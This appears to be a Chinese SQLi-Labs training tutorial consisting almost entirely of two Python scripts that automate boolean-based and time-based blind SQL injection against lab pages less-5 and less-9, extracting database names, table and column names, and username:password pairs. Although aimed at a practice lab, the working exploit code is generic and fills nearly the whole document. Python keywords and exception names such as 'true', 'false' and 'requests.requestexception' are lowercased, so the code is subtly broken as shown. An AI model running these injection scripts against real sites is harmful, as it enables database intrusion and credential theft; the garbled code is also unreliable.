SQLi-Labs 基础注入实战教程详解(Less-1 ~ Less-5and Less-9)

import requests
import urllib.parse
# 目标 url（不含参数）
url = "http://192.168.209.156/sqli/less-5/"
# 判断条件为真时页面会包含的关键字（根据 less-5 的回显调整）
true_keyword = "you are in"
def check(condition: str) -> bool:
    """
    执行一次布尔盲注，返回 condition 是否为真。
    condition 是一个 sql 条件表达式，例如 "1=1" 或 "length((select database()))=8"
    """
    # 使用 '#' 作为注释符，requests 会自动将其编码为 %23
    payload = f"1' and {condition} #"
    try:
        resp = requests.get(url, params={"id": payload}, timeout=10)
        return true_keyword in resp.text
    except requests.requestexception:
        return false
def get_length(query: str) -> int:
    """二分法获取查询结果的字符串长度（最大 100）"""
    low, high = 0, 100
    while low < high:
        mid = (low + high + 1) // 2
        if check(f"length({query})>={mid}"):
            low = mid
        else:
            high = mid - 1
    return low
def get_string(query: str, length: int) -> str:
    """二分法获取查询结果的每一位字符"""
    result = ""
    for pos in range(1, length + 1):
        low, high = 32, 126   # 可打印 ascii 范围
        while low < high:
            mid = (low + high + 1) // 2
            if check(f"ascii(substr({query},{pos},1))>={mid}"):
                low = mid
            else:
                high = mid - 1
        result += chr(low)
        print(f"[+] 第 {pos} 个字符: {chr(low)}")
    return result
def blind_injection(query: str, description: str) -> str:
    """完整的一次盲注过程：获取长度 → 获取字符串"""
    print(f"[*] 正在获取 {description} ...")
    length = get_length(query)
    print(f"[+] 长度: {length}")
    if length == 0:
        return ""
    data = get_string(query, length)
    print(f"[+] {description}: {data}\n")
    return data
if __name__ == "__main__":
    # 1. 获取数据库名
    db_name = blind_injection("(select database())", "数据库名")
    # 2. 获取所有表名
    tables = blind_injection(
        "(select group_concat(table_name) from information_schema.tables where table_schema=database())",
        "所有表名"
    )
    # 3. 获取 users 表的列名（假设表名为 users）
    columns = blind_injection(
        "(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')",
        "users 表的列名"
    )
    # 4. 获取 users 表中的数据（假设有 username 和 password 字段）
    data = blind_injection(
        "(select group_concat(username,':',password) from users)",
        "users 表内容 (username:password)"
    )
    print("===== 最终结果 =====")
    print(f"数据库名: {db_name}")
    print(f"表名: {tables}")
    print(f"列名: {columns}")
    print(f"数据: {data}")

import requests
import time
# 目标 url（less-9）
base_url = "http://192.168.209.156/sqli/less-9/"
# 时间盲注参数
sleep_time = 3          # 减小 sleep 可以加快速度，但不要太小
timeout = sleep_time + 5
threshold = sleep_time * 0.5   # 判断为真的最低耗时（秒）
def test_check():
    """
    先测试两个固定条件，确认时间盲注环境是否正常
    """
    print("[*] 正在测试时间盲注环境...")
    # 测试真条件
    payload_true = "1' and if(1=1,sleep({}),1)-- ".format(sleep_time)
    t1 = time.time()
    try:
        requests.get(base_url, params={"id": payload_true}, timeout=timeout)
    except:
        pass
    elapsed_true = time.time() - t1
    # 测试假条件
    payload_false = "1' and if(1=2,sleep({}),1)-- ".format(sleep_time)
    t2 = time.time()
    try:
        requests.get(base_url, params={"id": payload_false}, timeout=timeout)
    except:
        pass
    elapsed_false = time.time() - t2
    print(f"    真条件耗时: {elapsed_true:.2f} 秒")
    print(f"    假条件耗时: {elapsed_false:.2f} 秒")
    if elapsed_true >= threshold and elapsed_false < threshold:
        print("[+] 环境正常，开始时间盲注\n")
        return true
    else:
        print("[-] 环境异常：真/假条件没有明显的耗时差别！")
        print("    可能是网络延迟太高、注释符不正确或 sleep 被过滤。")
        return false
def check(condition: str) -> bool:
    """
    执行一次时间盲注，返回 condition 是否为真。
    使用注释符 '-- ' （两个破折号加空格）
    """
    payload = f"1' and if({condition}, sleep({sleep_time}), 1)-- "
    try:
        start = time.time()
        requests.get(base_url, params={"id": payload}, timeout=timeout)
        elapsed = time.time() - start
        return elapsed >= threshold
    except requests.exceptions.timeout:
        return true   # 超时说明 sleep 了，条件为真
    except requests.requestexception:
        return false
def get_length(query: str) -> int:
    """二分法获取查询结果字符串长度（最大 100）"""
    low, high = 0, 100
    while low < high:
        mid = (low + high + 1) // 2
        if check(f"length({query})>={mid}"):
            low = mid
        else:
            high = mid - 1
    return low
def get_string(query: str, length: int) -> str:
    """二分法获取查询结果每一位字符"""
    result = ""
    for pos in range(1, length + 1):
        low, high = 32, 126
        while low < high:
            mid = (low + high + 1) // 2
            if check(f"ascii(substr({query},{pos},1))>={mid}"):
                low = mid
            else:
                high = mid - 1
        result += chr(low)
        print(f"    [+] 第 {pos}/{length} 字符: {chr(low)}")
    return result
def time_blind_injection(query: str, description: str) -> str:
    """完整时间盲注流程"""
    print(f"[*] 正在获取 {description} ...")
    length = get_length(query)
    print(f"    [+] 长度: {length}")
    if length == 0:
        return ""
    data = get_string(query, length)
    print(f"    [+] {description}: {data}\n")
    return data
if __name__ == "__main__":
    if not test_check():
        exit(1)
    print("===== 时间盲注开始（每次正确会 sleep {} 秒，请耐心等待）=====".format(sleep_time))
    # 1. 数据库名
    db_name = time_blind_injection("(select database())", "数据库名")
    # 2. 所有表名
    tables = time_blind_injection(
        "(select group_concat(table_name) from information_schema.tables where table_schema=database())",
        "所有表名"
    )
    # 3. users 表的列名（请根据实际表名修改）
    columns = time_blind_injection(
        "(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')",
        "users 表的列名"
    )
    # 4. users 表数据（假设字段为 username 和 password）
    data = time_blind_injection(
        "(select group_concat(username,':',password) from users)",
        "users 表内容"
    )
    print("\n===== 最终结果 =====")
    print(f"数据库名: {db_name}")
    print(f"表名: {tables}")
    print(f"列名: {columns}")
    print(f"数据: {data}")